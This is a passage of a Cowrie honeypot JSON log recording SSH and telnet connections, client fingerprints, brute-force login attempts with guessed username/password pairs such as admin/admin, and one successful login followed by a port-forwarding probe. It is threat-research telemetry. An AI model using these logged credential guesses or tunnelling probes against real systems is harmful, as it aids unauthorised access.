af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:40.627448Z","src_ip":"161.248.189.72","session":"19a17118c5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41556,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e64181b021a","protocol":"telnet","message":"New connection: 135.148.33.91:41556 (159.203.135.109:23) [session: 7e64181b021a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:40.732427Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42870,"dst_ip":"159.203.135.109","dst_port":23,"session":"c884d9a10997","protocol":"telnet","message":"New connection: 135.148.33.91:42870 (159.203.135.109:23) [session: c884d9a10997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:41.079880Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123aa456","message":"login attempt [root/123aa456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:41.629562Z","src_ip":"161.248.189.72","session":"19a17118c5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.323938846588135,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:41.650139Z","src_ip":"135.148.33.91","session":"7b254b297998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44014,"dst_ip":"159.203.135.109","dst_port":23,"session":"257b38941429","protocol":"telnet","message":"New connection: 135.148.33.91:44014 (159.203.135.109:23) [session: 257b38941429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:42.176483Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:42.876106Z","src_ip":"161.248.189.72","session":"19a17118c5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.54724597930908,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:48.538422Z","src_ip":"135.148.33.91","session":"4dc145af056e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.119.203.61","src_port":34170,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd4f1bf9dec3","protocol":"telnet","message":"New connection: 181.119.203.61:34170 (159.203.135.109:23) [session: dd4f1bf9dec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:50.205187Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49382,"dst_ip":"159.203.135.109","dst_port":23,"session":"614555c87801","protocol":"telnet","message":"New connection: 135.148.33.91:49382 (159.203.135.109:23) [session: 614555c87801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:51.556990Z"}
{"eventid":"cowrie.session.closed","duration":35.393473386764526,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:35:57.362098Z","src_ip":"135.148.33.91","session":"d5c8a4450e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.43260908126831,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:03.637662Z","src_ip":"181.119.203.61","session":"dd4f1bf9dec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45654630661011,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:04.286702Z","src_ip":"135.148.33.91","session":"55a00127d571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24965214729309,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:04.675629Z","src_ip":"135.148.33.91","session":"dbc3b3771557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05385661125183,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:07.091378Z","src_ip":"135.148.33.91","session":"122b1a04e0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59620,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4184e558ed7","protocol":"telnet","message":"New connection: 135.148.33.91:59620 (159.203.135.109:23) [session: d4184e558ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:09.903029Z"}
{"eventid":"cowrie.session.closed","duration":33.10656762123108,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:13.838870Z","src_ip":"135.148.33.91","session":"7e64181b021a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.722004890441895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:15.801778Z","src_ip":"135.148.33.91","session":"c884d9a10997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94916915893555,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:16.125526Z","src_ip":"135.148.33.91","session":"257b38941429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40248,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae01e85b6c3d","protocol":"telnet","message":"New connection: 135.148.33.91:40248 (159.203.135.109:23) [session: ae01e85b6c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:24.009605Z"}
{"eventid":"cowrie.session.closed","duration":34.553932428359985,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:26.110830Z","src_ip":"135.148.33.91","session":"614555c87801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":34008,"dst_ip":"10.17.0.5","dst_port":22,"session":"710318f3f582","protocol":"ssh","message":"New connection: 161.248.189.72:34008 (10.17.0.5:22) [session: 710318f3f582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:41.302495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:41.307222Z","src_ip":"161.248.189.72","session":"710318f3f582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:41.538213Z","src_ip":"161.248.189.72","session":"710318f3f582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"P@ssw0rd","message":"login attempt [tester/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:42.496551Z","src_ip":"161.248.189.72","session":"710318f3f582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:43.730994Z","src_ip":"161.248.189.72","session":"710318f3f582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.230.11.39","src_port":47550,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb1db543b606","protocol":"telnet","message":"New connection: 45.230.11.39:47550 (10.17.0.5:23) [session: bb1db543b606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:43.746751Z"}
{"eventid":"cowrie.session.closed","duration":35.15871262550354,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:45.061613Z","src_ip":"135.148.33.91","session":"d4184e558ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df1d6e94c52","protocol":"telnet","message":"New connection: 135.148.33.91:57572 (159.203.135.109:23) [session: 7df1d6e94c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:53.129651Z"}
{"eventid":"cowrie.session.closed","duration":13.458200454711914,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:36:57.204721Z","src_ip":"45.230.11.39","session":"bb1db543b606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.209829807281494,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:01.219325Z","src_ip":"135.148.33.91","session":"ae01e85b6c3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":43040,"dst_ip":"159.203.135.109","dst_port":22,"session":"650745834f5e","protocol":"ssh","message":"New connection: 94.26.106.139:43040 (159.203.135.109:22) [session: 650745834f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.000774Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.006276Z","src_ip":"94.26.106.139","session":"650745834f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.139","src_port":43044,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b1bc6f1f49","protocol":"ssh","message":"New connection: 94.26.106.139:43044 (159.203.135.109:22) [session: 32b1bc6f1f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.106208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.110956Z","src_ip":"94.26.106.139","session":"32b1bc6f1f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.198496Z","src_ip":"94.26.106.139","session":"32b1bc6f1f49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.375947Z","src_ip":"94.26.106.139","session":"32b1bc6f1f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"94.26.106.139","dst_port":80,"src_ip":"94.26.106.139","src_port":5555,"message":"direct-tcp connection request to 94.26.106.139:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.467445Z","session":"32b1bc6f1f49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"94.26.106.139","dst_port":80,"data":"b'jxkxy3Etg1B15Ld6BvSJAAVbbZbuRSb0JkNHTKU0FemLYhyIX9'","id":0,"message":"discarded direct-tcp forward request 0 to 94.26.106.139:80 with data b'jxkxy3Etg1B15Ld6BvSJAAVbbZbuRSb0JkNHTKU0FemLYhyIX9'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.560105Z","src_ip":"94.26.106.139","session":"32b1bc6f1f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.662310Z","src_ip":"94.26.106.139","session":"32b1bc6f1f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"964ad561b42e","protocol":"telnet","message":"New connection: 135.148.33.91:41512 (159.203.135.109:23) [session: 964ad561b42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:13.999921Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":41540,"dst_ip":"159.203.135.109","dst_port":23,"session":"10dbdc2f16fd","protocol":"telnet","message":"New connection: 135.148.33.91:41540 (159.203.135.109:23) [session: 10dbdc2f16fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:14.042911Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44800,"dst_ip":"159.203.135.109","dst_port":23,"session":"f06669e0b3a7","protocol":"telnet","message":"New connection: 135.148.33.91:44800 (159.203.135.109:23) [session: f06669e0b3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:20.418252Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"60abe60344c6","protocol":"telnet","message":"New connection: 135.148.33.91:48730 (159.203.135.109:23) [session: 60abe60344c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:26.196811Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48754,"dst_ip":"159.203.135.109","dst_port":23,"session":"18bea43bf79d","protocol":"telnet","message":"New connection: 135.148.33.91:48754 (159.203.135.109:23) [session: 18bea43bf79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:26.224210Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49928,"dst_ip":"159.203.135.109","dst_port":23,"session":"06038e427c3b","protocol":"telnet","message":"New connection: 135.148.33.91:49928 (159.203.135.109:23) [session: 06038e427c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:28.271644Z"}
{"eventid":"cowrie.session.closed","duration":37.168155670166016,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:30.297705Z","src_ip":"135.148.33.91","session":"7df1d6e94c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53680,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fcd6bdd222f","protocol":"telnet","message":"New connection: 135.148.33.91:53680 (159.203.135.109:23) [session: 6fcd6bdd222f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:35.052189Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57096,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c4251e6d957","protocol":"telnet","message":"New connection: 135.148.33.91:57096 (159.203.135.109:23) [session: 7c4251e6d957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:40.718398Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":34082,"dst_ip":"10.17.0.5","dst_port":22,"session":"39fabddef510","protocol":"ssh","message":"New connection: 161.248.189.72:34082 (10.17.0.5:22) [session: 39fabddef510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:42.310208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:42.315211Z","src_ip":"161.248.189.72","session":"39fabddef510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:42.547779Z","src_ip":"161.248.189.72","session":"39fabddef510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"melocoton","message":"login attempt [root/melocoton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:43.506116Z","src_ip":"161.248.189.72","session":"39fabddef510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:44.740629Z","src_ip":"161.248.189.72","session":"39fabddef510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.07051372528076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:48.113302Z","src_ip":"135.148.33.91","session":"10dbdc2f16fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32768,"dst_ip":"159.203.135.109","dst_port":23,"session":"1849fdb23a78","protocol":"telnet","message":"New connection: 135.148.33.91:32768 (159.203.135.109:23) [session: 1849fdb23a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:50.262129Z"}
{"eventid":"cowrie.session.closed","duration":36.96982002258301,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:50.969610Z","src_ip":"135.148.33.91","session":"964ad561b42e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38428,"dst_ip":"159.203.135.109","dst_port":23,"session":"5079dc9d3b0b","protocol":"telnet","message":"New connection: 135.148.33.91:38428 (159.203.135.109:23) [session: 5079dc9d3b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:57.907627Z"}
{"eventid":"cowrie.session.closed","duration":38.76115107536316,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:37:59.179286Z","src_ip":"135.148.33.91","session":"f06669e0b3a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.986016273498535,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:00.210106Z","src_ip":"135.148.33.91","session":"18bea43bf79d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.15855574607849,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:00.355295Z","src_ip":"135.148.33.91","session":"60abe60344c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.924375772476196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:01.195912Z","src_ip":"135.148.33.91","session":"06038e427c3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44088,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cab73b105cf","protocol":"telnet","message":"New connection: 135.148.33.91:44088 (159.203.135.109:23) [session: 4cab73b105cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:06.911293Z"}
{"eventid":"cowrie.session.closed","duration":34.05524516105652,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:09.107299Z","src_ip":"135.148.33.91","session":"6fcd6bdd222f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.37970542907715,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:21.098007Z","src_ip":"135.148.33.91","session":"7c4251e6d957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52360,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a346234892d","protocol":"telnet","message":"New connection: 135.148.33.91:52360 (159.203.135.109:23) [session: 7a346234892d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:21.619262Z"}
{"eventid":"cowrie.session.closed","duration":36.155014991760254,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:38:26.417048Z","src_ip":"135.148.33.91","session":"1849fdb23a78","protocol":"telnet"}
